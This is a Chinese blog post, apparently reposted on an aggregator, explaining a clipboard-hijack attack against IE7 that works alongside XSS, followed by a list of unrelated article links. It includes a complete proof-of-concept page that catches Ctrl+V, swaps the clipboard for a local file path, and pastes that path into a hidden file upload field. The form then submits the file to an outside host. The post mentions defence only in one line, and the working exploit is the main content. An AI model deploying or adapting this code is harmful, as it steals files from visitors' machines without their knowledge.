Javascript Paste Keyboard Shortcuts Hijack
来源:互联网 发布:js弹出对话框按钮文字 编辑:程序博客网 时间:2024/05/16 10:44
author : kj021320
team : I.S.T.O
这样的攻击手段也算是极其无耻 猥琐之极! 所以防御措施一定要做好
首先说一下通过Javascript Paste Keyboard Shortcuts Hijack能做什么???能够读取你本地机器任何文件! 没错!也就是说 你中了任何一个XSS 加上你按了粘贴快捷键后,你就有可能被别人读取你机上任何的文件!
那到底是什么回事呢? OK 我慢慢来说
首先 我们知道JS是无权限获读取你本地任何文件的... 那么我们必须要让用户上传自己的文件!
怎么让用户上传呢? 很简单! 通过 <input type=file > 这样就能让用户上传文件了!
现在又一个问题是, input 为file的时候 value的值 不能用代码set进去!必须要让用户自己填写! 必须要通过人机交互!
其实说到这里!聪明的你大致也应该明白怎么回事! 接着说! 用户不可能把自己的文件填写上去提交给你看的吧?
没错~ 那么 就等待用户 进行快捷键粘贴的时候 哈哈~~说说步骤
1. 判断是否 进行 ctrl + v
2. 替换粘贴板
3. 光标切换到 文件上传
4. 善后工作就交给你了 ( 例如如何把上传textbox透明化,当前页面不会因表单提交而跳转 )
IE7 下的 POC :
<HTML>
<HEAD>
<TITLE> Javascript Paste Keyboard Shortcuts Hijack </TITLE>
</HEAD>
<body onkeydown="temp()">
<input>
<form action="http://www.kj.com" method=post name=s>
<input id=kj_filehijack type=file name=fhijack>
</form>
<script>
function temp()
{
if(event.ctrlKey){
if(event.keyCode==86){
window.clipboardData.setData("text","c:/boot.ini");
document.getElementById('kj_filehijack').focus();
document.s.submit();
}
}
}
</script>
</BODY>
</HTML>
- Javascript Paste Keyboard Shortcuts Hijack
- Javascript Paste Keyboard Shortcuts Hijack
- Keyboard shortcuts
- Keyboard Shortcuts
- Keyboard shortcuts for Windows
- fedora 12 keyboard shortcuts
- VIM keyboard shortcuts
- Keyboard Shortcuts - VC
- Keyboard Shortcuts - VC
- multiple keyboard shortcuts
- VIM keyboard shortcuts
- KDE Common Keyboard Shortcuts
- Mac Keyboard Shortcuts (Updating)
- jupeter notebook keyboard shortcuts
- Firefox Keyboard and Mouse Shortcuts
- Top 20 VMware Keyboard Shortcuts
- Qt Creator Default Keyboard Shortcuts
- Visual Studio 2012 keyboard shortcuts
- 图示IBM-7133阵列故障盘更换操作(一)
- 【题目37】合并两个有序链表
- asterisk 外挂程序 及 Asterisk 可加载模块 及 phpagi.conf 配置内容
- vmware+linux+oracle10g rac全过程(二十):实验总结
- 一篇关于GCC的转载的文章 很好。。。。
- Javascript Paste Keyboard Shortcuts Hijack
- oracle exp imp命令详解
- 经典问题8:c/c++ 程序设计 ---bit位逆转高效算法问题
- 消费者行为学摘要
- mysql gui
- 经典问题9:c/c++ 程序设计 ---基本数据处理问题
- 异常:java.lang.IllegalArgumentException: Removing a detached instance
- 虚拟机Ubuntu导致XP无声音 && 插入串口设备导致鼠标乱跳 && BeyondCompare的右键快捷 && BeyondCompare快速比较
- EntityManager API方法详解